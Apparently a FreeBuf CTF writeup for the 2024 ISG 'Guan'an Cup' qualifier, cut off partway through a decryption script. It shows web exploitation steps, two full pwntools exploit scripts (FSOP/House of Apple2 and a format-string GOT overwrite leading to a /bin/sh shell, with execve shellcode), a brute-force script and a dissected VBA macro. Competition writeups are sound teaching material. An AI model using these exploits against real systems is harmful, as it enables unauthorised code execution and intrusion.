freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

2024观安杯CTF全题目writeup
2024-09-09 11:21:53

由上海市委网信办指导开展的2024年ISG网络安全技能竞赛“观安杯”于9月19日举办,初赛共10题。奇点安全实验室在完赛后对所有题目进行了复盘,并通过本文分享本次大赛全部题目的Writeup。

题目附件下载:https://github.com/raddyfiy/CTF_Archives/tree/main/2024isg%E8%A7%82%E5%AE%89%E6%9D%AF

WEB

web_emm

emlog pro 2.3.0 和 pro 2.3.2 中的 admin/views/plugin.php 中存在任意文件上传漏洞,远程攻击者可利用该漏洞提交上传恶意文件的特殊请求以执行任意代码。

web_hotel

git源码泄露,使用git工具git_extract.py还原各个版本的代码.https://github.com/gakki429/Git_Extract

找到用户名密码登录,该系统存在Nday,使用xray探测发现存在sql注入。

http://isg.idss-cn.com:27335/view/roomList.php?name=%E6%9D%AD%E5%B7%9E%E5%BC%80%E5%85%83%E5%90%8D%E9%83%BD%E5%A4%A7%E9%85%92%E5%BA%97&id=1&wifi=1&equipment=%E5%85%A8%E4%BC%98

sqlmap一把梭:

web_bookstore

xpath注入,题目源码参考:https://github.com/orf/xcat_app

所以用xcat run一把梭:

xcat run http://isq.idss-cn.com:23869/api/1/search keywordskeywords=Catching --true-string=Suzanne

(感谢wangqiusheng大佬分享截图与思路)

ZmxhZ3tWSFlPeEZ3Z2poSXY1ZlcwRTR0Um95NzFVdTZjM21sZH0?
flag{VHYOxFwgjhIv5fW0E4tRoy71Uu6c3mld}

PWN

pwn_iofile

考点:stdin任意地址写+FSOP+House of apple2

程序会泄露libc地址,且有一个任意地址写:

所以思路只有一个:打FILE,实现一个任意地址写任意内容。

这个技巧也是一个定势,把_IO_2_1_stdin_的_IO_buf_base位的最低byte改成0,那么再次getchar等读入字符串时,就会把_IO_buf_base当作缓存区的地址写入内容。由于末尾改成了0,那么必然会从_IO_buf_base前面几个位置开始写,这样就能完整的写一个地址到_IO_buf_base。再进行第三次写入时,就可以实现一个任意地址写任意内容了。此时没有长度限制,程序是exit(0)退出,所以可以将stderr改写成一个恶意的FILE,用FSOP触发house of apple2:

from pwn import *
from pwnlib.util.proc import wait_for_debugger
import inspect, re
# context.terminal=['tmux', 'splitw', '-h']


def ida():
    wait_for_debugger(sh.pid)
def gdb():
    pwnlib.gdb.attach(sh)
def gdbaddr(addrlist,PIE=True):
    for i in addr:
        debug_str+='b *{}\n'.format(hex(i))
        pwnlib.gdb.attach(sh,debug_str) 
def gdbc(addr):
    pwnlib.gdb.attach(sh,"b *" + hex(addr) +"\n c")
def dbg(arg):
    if isremote==1:
        return
    elif arg==1 or arg=="ida":
        ida()
    elif arg==2 or arg=="gdb":
        gdb()
    return
def autoconnect():
    gdbprocess=process(["gdb-multiarch",program])
    gdbprocess.sendline('target remote 127.0.0.1:23946\n')
    gdbprocess.interactive()


def make_tcache_fd(addr,value):  #libc>=2.32
    return ((addr>>12)^value)        #tcache -> ck1 -> ck2, ck1[fd]=((&ck1[fd]>>12) xor ck2's addr


def getdlresolve(writetarget,recv_addr=0):
    recv_addr=elf.bss() if recv_addr==0 else recv_addr
    elf_load_address_fixup = elf.address - elf.load_addr
    strtab = elf.dynamic_value_by_tag("DT_STRTAB") + elf_load_address_fixup
    symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + elf_load_address_fixup
    jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + elf_load_address_fixup
    versym = elf.dynamic_value_by_tag("DT_VERSYM") + elf_load_address_fixup
    dynamic_section_addr=elf.get_section_by_name(".dynamic").header.sh_addr+ elf_load_address_fixup
    lk(dynamic_section_addr);lk(jmprel);lk(symtab);lk(strtab);lk(versym)
    # dlresolve=p32(0)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00"+padding+fakeSYM+fakeREL
    binsh_addr=writetarget+2*len(p32(0))+len("system\x00\x00")
    dlresolvePart1=p32(binsh_addr)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00"
    paddingnum=(0x10-((writetarget+len(dlresolvePart1)-symtab)%0x10))%0x10
    r_info_num=(writetarget+len(dlresolvePart1)+paddingnum-symtab)//0x10#offset num
    for i in range(10000):
        importCheckPoint=versym+r_info_num*2
        lk(importCheckPoint)
        importCheckPointVelue=elf.read(versym+r_info_num*2, 2)
        if importCheckPointVelue[1:]!="\x00":  #can't use
            paddingnum+=0x10
            r_info_num+=1#offset num
        else:
            break
    dlresolvePart1+="p"*paddingnum
    r_info=(r_info_num<<8)+7
    lk(r_info)
    str_offset=writetarget+2*len(p32(0))-strtab
    fakeSYM=p32(str_offset)+p32(0)+p32(0)+p32(0x12)
    fakeSYM_addr=writetarget+len(dlresolvePart1)
    fakeREL=p32(recv_addr)+p32(r_info)
    fakeREL_addr=writetarget+len(dlresolvePart1)+len(fakeSYM)
    dlresolve=dlresolvePart1+fakeSYM+fakeREL
    reloc_index=writetarget+len(dlresolvePart1+fakeSYM)-jmprel
    lk(fakeREL_addr);lk(fakeSYM_addr);lk(reloc_index);lk(writetarget)
    return dlresolve,reloc_index
    #call: dlresolve,reloc_index=getdlresolve(bssbuf+0x300+4)


def getarch(program):
    fileinfo=re.findall(program+r'([\s\S]*)version',os.popen("file "+program).read())[0]
    print(fileinfo)
    if 'aarch64' in fileinfo:
        context.update(arch='aarch64', bits=64, endian='little')
    if 'x86-64' in fileinfo:
        context.update(arch='amd64', bits=64, endian='little')
    if '80386' in fileinfo:
        context.update(arch='i386', bits=32, endian='little')
    if 'ARM' in fileinfo:
        context.update(arch='arm', bits=32, endian='little')
    if 'MIPS32' in fileinfo:
        context.update(arch='mips', bits=32, endian='little')
    return 1


#-----------------------------------------------------------------------------------------
s       = lambda data               :sh.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :sh.sendafter(str(delim), str(data)) 
sl      = lambda data               :sh.sendline(str(data)) 
sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :sh.read(numb)
ru      = lambda delims, drop=True  :sh.readuntil(delims, drop)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
def lk(a): #print leak value
    for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]:
        m = re.search(r'lk\s*', line)
        if m:
            print("!!"+m.group(1)+'========>'+hex(a))


sh_x86_22=asm('''
xor     ecx,ecx;xor     edx,edx;
push    0x0B;pop     eax;
push    ecx; push    0x68732F2F  #hs//, this str must end with 0x00
push    0x6E69622F;  #nib/
mov     ebx, esp; int     0x80''', arch = 'i386', os = 'linux')#if we can use 0x00 in payload, we can delete push  ecx;#(ebx save arg0)
sh_x64_20=asm('''
xor  esi, esi; mov rdi, 0x68732F6E69622F; push rdi; push rsp; pop rdi; mov al, 0x3B;
cdq; syscall
''', arch = 'amd64', os = 'linux')#notice 0x00 break
#maybe change: mov al->eax, delete xor esi
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------


def choose(index):
    sla("choose",str(index))


def add(size,text):
    choose(1)
    sla("Size",str(size))
    sla("content",text)
    # sla("Index",index)


def delete(index):
    choose(3)
    sla("Index",str(index))


def show(index):
    choose(4)
    sla("Index",str(index))
    # sla("size",size)
    # sa("Content",text)


def edit(index,text):
    choose(2)
    sla("Index",str(index))
    # sla("Size",str(size))
    sla("Content",text)




def exp():
    sla("# ","1")
    ru("Gift 1: ")
    libc_base=int(sh.read(14),16)-libc.sym["printf"]
    lk(libc_base)
    # gdb()
    _IO_2_1_stdin_= libc_base+libc.sym["_IO_2_1_stdin_"]
    system= libc_base+libc.sym["system"]
    _IO_2_1_stderr_= libc_base+libc.sym["_IO_2_1_stderr_"]
    _IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"]
    bufbase=_IO_2_1_stdin_+48+8
    one_gadget=libc_base+one_gadgetlist[1]
    sl("2")
    # ida()
    sla("ID:",hex(bufbase)[2:])
    s('\x00'*24+p64(_IO_2_1_stderr_)+p64(_IO_2_1_stderr_+0x348))
    # sleep(1)
    #
    fake_wide_data_addr=_IO_2_1_stderr_+0xe0
    fake_IO_FILE ="  /bin/sh\x00aaaaaa"
    fake_IO_FILE += 2*p64(0) #we write in ck+0x10,but if largebin attack as ck head, change 4 to 2
    fake_IO_FILE += p64(0)                   # _IO_write_base = 0
    fake_IO_FILE += p64(2)  # _IO_write_ptr = 0xffffffffffffffff,_IO_write_ptr >_IO_write_base 
    fake_IO_FILE += p64(0)                    # _IO_write_end
    fake_IO_FILE += p64(0)                   # _IO_buf_base
    fake_IO_FILE += p64(0)              # _IO_buf_end
    fake_IO_FILE += p64(0)*4
    fake_IO_FILE += p64(0)          # _chain
    fake_IO_FILE += p64(0)*3
    fake_IO_FILE += p64(_IO_2_1_stdin_-8)           # _lock = writable address
    fake_IO_FILE += p64(0)*2
    fake_IO_FILE += p64(fake_wide_data_addr) #fake_wide_data_addr =fake_wide_data_addr
    fake_IO_FILE += p64(0)*3
    fake_IO_FILE += p64(0) # [mode]
    fake_IO_FILE += p64(0)+p64(0)
    fake_IO_FILE += p64(_IO_wfile_jumps)# vtable 
    
    fake_wide_vtable_addr=_IO_2_1_stderr_+0xe0+8*29
    fake_wide_data=p64(0)*28+p64(fake_wide_vtable_addr)
    fake_wide_vtable=p64(0)*13+p64(system)  # <-------------------------------change to your func
    payload=fake_IO_FILE+fake_wide_data+fake_wide_vtable
    print(len(payload))
    sl(payload)




program = './iofile'
if __name__ == '__main__':
    remoteurl="isg.idss-cn.com:22761"  #ip:port
    args1=''
    libcindex=0 # -1 is local libc
    isremote=1 # 0 is local process, 1 is remote
    ASLR=True #False: close ASLR; True: open ASLR
    gdbdebug=0
    supasswd='1'
    locallibc="/lib/x86_64-linux-gnu/"+re.findall(r'libc-[\d.]*so|libc.so.6',os.popen("ls /lib/x86_64-linux-gnu/").read())[0]
    libclist=["./libc.so.6","./buu32-libc2.23.so","./buu64-libc2.27.so","./buu32-libc2.27.so",locallibc]
    libcpath=libclist[libcindex]
    context.log_level = 'debug'
    #--------------------------------------------
    _IO_2_1_stdout_=''
    context.os='linux'
    getarch(program)
    if context.arch!='mips':
        elf = ELF(program)
    libc = ELF(libcpath)
    binsh_offset = libc.search("/bin/sh").next()
    libc.sym["main_arena"]=libc.sym["__malloc_hook"]+(0x18 if context.arch=='i386' else 0x10)
    #64bit_unsortbin: fd=main arena+88(0x58), main_arena-0X10=__malloc_hook
    #32bit_unsortbin: fd=main_arena+48(0x30), main_arena-0x18=__malloc_hook
    #64bit_largebin: fd=main arena+0x490, main_arena-0X10=__malloc_hook
    getgadget=os.popen("one_gadget "+libcpath).read().split("\n\n")
    getgadgetA=os.popen("one_gadget "+libcpath+" --level 3").read().split("\n\n")
    result = '\n\n'.join(getgadget+[item for item in getgadgetA if item not in getgadget])
    print(result)
    one_gadgetlist=[int(li.split(" ")[0],16) for li in getgadget+[item for item in getgadgetA if item not in getgadget]]
    if (os.popen("cat /proc/sys/kernel/randomize_va_space").read()[0]!='0') != ASLR:
        os.system("echo {0}|sudo -S sysctl -w kernel.randomize_va_space={1}".format(supasswd,['2' if ASLR else '0'][0]))
    os.system("chmod 777 ./*")
    bugstr=""
    if gdbdebug:
        bugstr=" -g 23946 "
        os.system('''echo {0}|sudo -S kill -9 `lsof -i:23946|awk 'NR==2'|awk '{{print $2}}'`'''.format(supasswd))
    while True:
        if isremote==0:
            #context.arch=='amd64' or context.arch=='i386':
            sh = process(argv=[program,args1],env={"LD_PRELOAD":libcpath})#argv=[program,args1,args2,...]
            #context.arch=='aarch64':
            #sh = process("qemu-aarch64-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...]
            #context.arch=='arm':
            #sh = process("qemu-arm-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...]
            #context.arch=="mips" and context.endian=='little':
            #sh = process("qemu-mipsel-static -L ./mipsel-linux-uclibc {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...]
            #context.arch==qemu-riscv64:
            #sh = process("qemu-riscv64-static -L ./libs {0} {1} ".format(bugstr,program), shell=True)
            if gdbdebug:
                thiscriptname=sys.argv[0].split("/")[-1].split(".py")[0]
                subprocess.Popen(r'''gnome-terminal -- bash -c "python2 -c 'import {0};{0}.autoconnect()'; read -sn 1"'''.format(thiscriptname),shell=True)
        else:
            port=re.findall(r'([0-9]*)',remoteurl.split(':')[-1])[0]
            url=remoteurl.split(":"+str(port))[0]
            sh=remote(url,port)
        ret=exp()
        if ret:
            sh.close()
            continue
        break
    sh.interactive()
    #fmtst=fmtstr_payload(offset, {addr1:value1,addr2:value2}, numbwritten=aleayoutputlen, write_size='byte')
    #offset: input AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p.and watch output, "AAAA" in which index(count from 1)
    #write_size:[byte/short/int] payload is hhn,hn,n   ;  numbwritten default = 0, write_size defalut =byte
    #-------------------help----remember---------------------------------
    #environ=libc_base+libc.sym["__environ"]
    #fakechunk_start=malloc_hook-0x23  #size =0x70(0x7f)
    #fakeFILE=p64(0xfbad9800)+p64(0)+p64(0)+p64(0)+'\x88'   ,   libc_base=uu64(r(6))-libc.sym['_IO_2_1_stdin_']
    #_IO_2_1_stdout_= p & _IO_2_1_stdout_
    # stdout_fakeck_start=_IO_2_1_stdout_ -0x43
    #__pointer_chk_guard =1
    #libc_base=main_arena-0x1e0-libc.sym['_IO_2_1_stdin_']
    #_IO_list_all=1
    # _IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
    #fucksystem=libc_base+do_system+2
    #-------------------------------------------------------------------------
    #if you want to burp, add below to exp():
    '''
    try:
        add(0x48)   #contain func who maybe wrong
        print ru("successstr") #you should pick a success str to judge
        sl('ls /')
        print "okk---"+sh.readuntil("bin")  #or,we can use this twice or more to judge whether get shell.
    except:
        return 2
    '''

pwn_reject_dollar

格式化字符串漏洞,漏洞点在:

虽然程序会先对输入进行ASCII码的冒泡排序,但遇到回车截止,所以输入可以用一个\n隔离开,1\npayload,保证后面的顺序不变:

所以攻击思路: 用两次格式化字符串漏洞,第一次用一堆%p泄露libc,第二次用无$符号的payload做一次任意地址写,改puts的got为system即可。(改完后puts的内容会报错,但不影响后续利用)

from pwn import *
from pwnlib.util.proc import wait_for_debugger
import inspect, re
# context.terminal=['tmux', 'splitw', '-h']


def ida():
    wait_for_debugger(sh.pid)
def gdb():
    pwnlib.gdb.attach(sh)
def gdbaddr(addrlist,PIE=True):
    for i in addr:
        debug_str+='b *{}\n'.format(hex(i))
        pwnlib.gdb.attach(sh,debug_str) 
def gdbc(addr):
    pwnlib.gdb.attach(sh,"b *" + hex(addr) +"\n c")
def dbg(arg):
    if isremote==1:
        return
    elif arg==1 or arg=="ida":
        ida()
    elif arg==2 or arg=="gdb":
        gdb()
    return
def autoconnect():
    gdbprocess=process(["gdb-multiarch",program])
    gdbprocess.sendline('target remote 127.0.0.1:23946\n')
    gdbprocess.interactive()


def make_tcache_fd(addr,value):  #libc>=2.32
    return ((addr>>12)^value)        #tcache -> ck1 -> ck2, ck1[fd]=((&ck1[fd]>>12) xor ck2's addr


def getdlresolve(writetarget,recv_addr=0):
    recv_addr=elf.bss() if recv_addr==0 else recv_addr
    elf_load_address_fixup = elf.address - elf.load_addr
    strtab = elf.dynamic_value_by_tag("DT_STRTAB") + elf_load_address_fixup
    symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + elf_load_address_fixup
    jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + elf_load_address_fixup
    versym = elf.dynamic_value_by_tag("DT_VERSYM") + elf_load_address_fixup
    dynamic_section_addr=elf.get_section_by_name(".dynamic").header.sh_addr+ elf_load_address_fixup
    lk(dynamic_section_addr);lk(jmprel);lk(symtab);lk(strtab);lk(versym)
    # dlresolve=p32(0)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00"+padding+fakeSYM+fakeREL
    binsh_addr=writetarget+2*len(p32(0))+len("system\x00\x00")
    dlresolvePart1=p32(binsh_addr)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00"
    paddingnum=(0x10-((writetarget+len(dlresolvePart1)-symtab)%0x10))%0x10
    r_info_num=(writetarget+len(dlresolvePart1)+paddingnum-symtab)//0x10#offset num
    for i in range(10000):
        importCheckPoint=versym+r_info_num*2
        lk(importCheckPoint)
        importCheckPointVelue=elf.read(versym+r_info_num*2, 2)
        if importCheckPointVelue[1:]!="\x00":  #can't use
            paddingnum+=0x10
            r_info_num+=1#offset num
        else:
            break
    dlresolvePart1+="p"*paddingnum
    r_info=(r_info_num<<8)+7
    lk(r_info)
    str_offset=writetarget+2*len(p32(0))-strtab
    fakeSYM=p32(str_offset)+p32(0)+p32(0)+p32(0x12)
    fakeSYM_addr=writetarget+len(dlresolvePart1)
    fakeREL=p32(recv_addr)+p32(r_info)
    fakeREL_addr=writetarget+len(dlresolvePart1)+len(fakeSYM)
    dlresolve=dlresolvePart1+fakeSYM+fakeREL
    reloc_index=writetarget+len(dlresolvePart1+fakeSYM)-jmprel
    lk(fakeREL_addr);lk(fakeSYM_addr);lk(reloc_index);lk(writetarget)
    return dlresolve,reloc_index
    #call: dlresolve,reloc_index=getdlresolve(bssbuf+0x300+4)




#-----------------------------------------------------------------------------------------
s       = lambda data               :sh.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :sh.sendafter(str(delim), str(data)) 
sl      = lambda data               :sh.sendline(str(data)) 
sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :sh.read(numb)
ru      = lambda delims, drop=True  :sh.readuntil(delims, drop)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
def lk(a): #print leak value
    for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]:
        m = re.search(r'lk\s*', line)
        if m:
            print("!!"+m.group(1)+'========>'+hex(a))


sh_x86_22=asm('''
xor     ecx,ecx;xor     edx,edx;
push    0x0B;pop     eax;
push    ecx; push    0x68732F2F  #hs//, this str must end with 0x00
push    0x6E69622F;  #nib/
mov     ebx, esp; int     0x80''', arch = 'i386', os = 'linux')#if we can use 0x00 in payload, we can delete push  ecx;#(ebx save arg0)
sh_x64_20=asm('''
xor  esi, esi; mov rdi, 0x68732F6E69622F; push rdi; push rsp; pop rdi; mov al, 0x3B;
cdq; syscall
''', arch = 'amd64', os = 'linux')#notice 0x00 break
#maybe change: mov al->eax, delete xor esi
# shellcode_mipsel32little_0x20 = asm('''
#         xor a1,a1
#         xor a2,a2
#         b exec
#         addiu   a0,ra, 16
#         .string "/bin/sh"
#     exec:
#         li $v0, 0xFAB
#         syscall''',arch='mips', bits=32, endian='little')
#shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------


def choose(index):
    sla("choice > ",str(index))


def add(text):
    choose(1)
    sla("message > ",text)
    # sla("Index",index)


def delete(index):
    choose(3)
    sla("Index",str(index))


def show():
    choose(2)


def edit(index,text):
    choose(2)
    sla("Index",str(index))
    # sla("Size",str(size))
    sla("Content",text)




def exp():
    # ida()
    print_got=elf.got["printf"]
    payload="1\n%p%p%p"+"%p%p%p%p"+"%p%p%p%p"+"%p%p--%s"+"%p%p%p%p"+"%p%p%p%p"+p64(print_got)
    add(payload)
    show()
    ru("--")
    libc_base=uu64(r(6))-libc.sym["printf"]
    lk(libc_base)
    one_gadget=libc_base+one_gadgetlist[1]
    puts_got=elf.got["puts"]
    system=libc_base+libc.sym["system"]
    fmtstr= "1111111\n"+fmtstr_payload(9, {puts_got:system}, numbwritten=8, write_size='byte',no_dollars=True)
    print(fmtstr)
    add(fmtstr)
    show()
    choose(1)
    sl("/bin/sh\x00")
    choose(3)






program = './pwn'
if __name__ == '__main__':
    remoteurl="isg.idss-cn.com:xxx"  #ip:port
    args1=''
    libcindex=0 # -1 is local libc
    isremote=1 # 0 is local process, 1 is remote
    ASLR=True #False: close ASLR; True: open ASLR
    gdbdebug=0
    supasswd='1'
    locallibc="/lib/x86_64-linux-gnu/"+re.findall(r'libc-[\d.]*so|libc.so.6',os.popen("ls /lib/x86_64-linux-gnu/").read())[0]
    libclist=["./libc.so.6","./buu32-libc2.23.so","./buu64-libc2.27.so","./buu32-libc2.27.so",locallibc]
    libcpath=libclist[libcindex]
    context.log_level = 'debug'
    #--------------------------------------------
    _IO_2_1_stdout_=''
    context.os='linux'
    context.update(arch='amd64', bits=64, endian='little')
    if context.arch!='mips':
        elf = ELF(program)
    libc = ELF(libcpath)
    binsh_offset = libc.search("/bin/sh").next()
    libc.sym["main_arena"]=libc.sym["__malloc_hook"]+(0x18 if context.arch=='i386' else 0x10)
    #64bit_unsortbin: fd=main arena+88(0x58), main_arena-0X10=__malloc_hook
    #32bit_unsortbin: fd=main_arena+48(0x30), main_arena-0x18=__malloc_hook
    #64bit_largebin: fd=main arena+0x490, main_arena-0X10=__malloc_hook
    getgadget=os.popen("one_gadget "+libcpath).read().split("\n\n")
    getgadgetA=os.popen("one_gadget "+libcpath+" --level 3").read().split("\n\n")
    result = '\n\n'.join(getgadget+[item for item in getgadgetA if item not in getgadget])
    print(result)
    one_gadgetlist=[int(li.split(" ")[0],16) for li in getgadget+[item for item in getgadgetA if item not in getgadget]]
    if (os.popen("cat /proc/sys/kernel/randomize_va_space").read()[0]!='0') != ASLR:
        os.system("echo {0}|sudo -S sysctl -w kernel.randomize_va_space={1}".format(supasswd,['2' if ASLR else '0'][0]))
    os.system("chmod 777 ./*")
    bugstr=""
    if gdbdebug:
        bugstr=" -g 23946 "
        os.system('''echo {0}|sudo -S kill -9 `lsof -i:23946|awk 'NR==2'|awk '{{print $2}}'`'''.format(supasswd))
    while True:
        if isremote==0:
            #context.arch=='amd64' or context.arch=='i386':
            sh = process(argv=[program,args1],env={"LD_PRELOAD":libcpath})#argv=[program,args1,args2,...]
            #context.arch=='aarch64':
            #sh = process("qemu-aarch64-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...]
            #context.arch=='arm':
            #sh = process("qemu-arm-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...]
            #context.arch=="mips" and context.endian=='little':
            #sh = process("qemu-mipsel-static -L ./mipsel-linux-uclibc {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...]
            #context.arch==qemu-riscv64:
            #sh = process("qemu-riscv64-static -L ./libs {0} {1} ".format(bugstr,program), shell=True)
            if gdbdebug:
                thiscriptname=sys.argv[0].split("/")[-1].split(".py")[0]
                subprocess.Popen(r'''gnome-terminal -- bash -c "python2 -c 'import {0};{0}.autoconnect()'; read -sn 1"'''.format(thiscriptname),shell=True)
        else:
            port=re.findall(r'([0-9]*)',remoteurl.split(':')[-1])[0]
            url=remoteurl.split(":"+str(port))[0]
            sh=remote(url,port)
        ret=exp()
        if ret:
            sh.close()
            continue
        break
    sh.interactive()
    #fmtst=fmtstr_payload(offset, {addr1:value1,addr2:value2}, numbwritten=aleayoutputlen, write_size='byte')
    #offset: input AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p.and watch output, "AAAA" in which index(count from 1)
    #write_size:[byte/short/int] payload is hhn,hn,n   ;  numbwritten default = 0, write_size defalut =byte
    #-------------------help----remember---------------------------------
    #environ=libc_base+libc.sym["__environ"]
    #fakechunk_start=malloc_hook-0x23  #size =0x70(0x7f)
    #fakeFILE=p64(0xfbad9800)+p64(0)+p64(0)+p64(0)+'\x88'   ,   libc_base=uu64(r(6))-libc.sym['_IO_2_1_stdin_']
    #_IO_2_1_stdout_= p & _IO_2_1_stdout_
    # stdout_fakeck_start=_IO_2_1_stdout_ -0x43
    #__pointer_chk_guard =1
    #libc_base=main_arena-0x1e0-libc.sym['_IO_2_1_stdin_']
    #_IO_list_all=1
    # _IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
    #fucksystem=libc_base+do_system+2
    #-------------------------------------------------------------------------
    #if you want to burp, add below to exp():
    '''
    try:
        add(0x48)   #contain func who maybe wrong
        print ru("successstr") #you should pick a success str to judge
        sl('ls /')
        print "okk---"+sh.readuntil("bin")  #or,we can use this twice or more to judge whether get shell.
    except:
        return 2
    '''

Reverse

shell

程序需要在ubuntu21.10运行,是魔改的upx壳,而且还是带反调试的,直接脱壳太麻烦。

但通过输入ISG,发现加密后的前三位与题目给的文档前三位一样,所以猜测当前n位输入正确时,结果的前n位会与题目给的一样。

所以写脚本爆破:

from pwn import *
context.log_level = 'debug'
import json
target=[227, 83, 162, 17, 197, 102, 127, 119, 94, 208, 82, 187, 221, 191, 112, 186, 0, 170, 191, 44, 233, 242, 209, 114, 70, 116, 203, 80, 72, 65, 254, 111, 119, 146, 95, 180, 182, 77, 140, 110, 204, 249, 76, 34, 229, 39, 30, 12, 248, 89, 158, 103, 170]
flag=""


sh=process("./encsh")
sh.sendlineafter(">","key")
sh.sendline("mykeymykeyhackergoawayyourkeyyou")
sh.read()
for i in range(len(target)):
    for onechar in range(20,128):
        sh.sendlineafter(">","enc")
        sh.sendline(flag+chr(onechar))
        print(sh.read())
        resstr=sh.readuntil("\n")
        print(resstr)
        reslist=json.loads(resstr)
        if target[i]==reslist[i]:
            flag+=chr(onechar)
            print(flag)
            break
print(flag)


sh.interactive()
#ISG{ThIsisMYuPx_notYOuR5_Gg_hjD95wk1}

MISC

vyper-deploy

区块链题目,程序的合约代码在vyper_hacker.vy:

#pragma version ==0.3.7
is_solved: public(bool)

@internal
@pure
def cmp(a:uint256 = 0, b:uint256 = max_value(uint256)) -> bool:
    return a > b

@external
def compare(i: uint256):
    if self.cmp(i):
        self.is_solved = True

题目输入一个i,会传入cmp的a,默认b=uint256的最大值,即2^256-1。需要使得输入的a大于b。

1.环境搭建

本地启动题目的docker,选1生成一个区块链,拿到了这些信息:

然后用浏览器metamask插件连接rpc:

然后导入私钥:

然后打开remix,连接matamask:

接下来对接题目给的区块。因为在remix里使用给定的区块链需要一个abi文件,这个文件只能通过源代码生成。用在线编译器编译:https://etherscan.io/vyper

编译获得ABI:

[{"stateMutability": "nonpayable", "type": "function", "name": "compare", "inputs": [{"name": "i", "type": "uint256"}], "outputs": []}, {"stateMutability": "view", "type": "function", "name": "is_solved", "inputs": [], "outputs": [{"name": "", "type": "bool"}]}]

然后把内容粘贴到一个新文件里,abi后缀:

使abi文件保持打开状态,来到部署页面,输入题目给定的合约地址:


然后就能看到合约了。随便输一个数字,点compare,is_solved就变成true了:

此时重新连题目功能,输入3,就能获取flag:

漏洞原理是:https://github.com/vyperlang/vyper/security/advisories/GHSA-ph9x-4vc9-m39g

vyper0.3.7有一个bug,传参是会把第一个参数挤到第二个参数的位置。

所以b看似是最大值,但实际值为0:

如果把a默认改成333,那么333也会被挤到b里。

office

在详情里看到一串:SSN6aVR4bnh2YmcjR0M5

base64解密:I#ziTxnxvbg#GC9  这就是打开密码。打开后将密码删掉:

后缀改成zip,解压,发现有vps文件:

下载OfficeMalScanner:

https://github.com/fboldewin/reconstructer.org/blob/master/OfficeMalScanner.zip

可以看到分离出了一个Sheet1文件,内容是一个脚本:

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Function Check(user_enc)
    Encrypted = "184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31,"


    If (user_enc <> Encrypted) Then
        Check = False
    Else
        Check = True
    End If
End Function


Private Sub Worksheet_Change(ByVal Target As Range)
    If Not Intersect(Target, Me.Range("B2")) Is Nothing Then
        If Check(crypto(Target.Value)) Then
            Me.Range("C2").Value = "success"
            Me.Range("C2").Interior.Color = RGB(232, 245, 233)
        Else
            Me.Range("C2").Value = "fail"
            Me.Range("C2").Interior.Color = RGB(251, 233, 231)
        End If
    End If
End Sub




Function crypto(sMessage)
    Dim kLen, x, y, i, j, temp
    Dim s(256)
 
    For i = 0 To 255
        s(i) = i
    Next
 
    j = 0
    For i = 0 To 255
        j = (j + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    Next
 
    x = 0
    y = 0
    For i = 1 To Len(sMessage)
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
 
        crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
    Next
End Function

程序就是生成一个数组s,然后逐位与输入异或,需要结果与目标数组一致。所以解密脚本:

target=[184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31]
# target=target[::-1]
s=[]
for i in range(0,256):
    print(s.append(i))


j=0
for i in range(0,256):
    j=(j+s[i])%256
    tmp=s[i]
    s[i]=s[j]
    s[j]=tmp
print(s)


x=0
y=0
res=0
res2=''
print(s)
for i in range(0,len(target)):
    x=(x+1)%256
    y=(y+s[x])%256
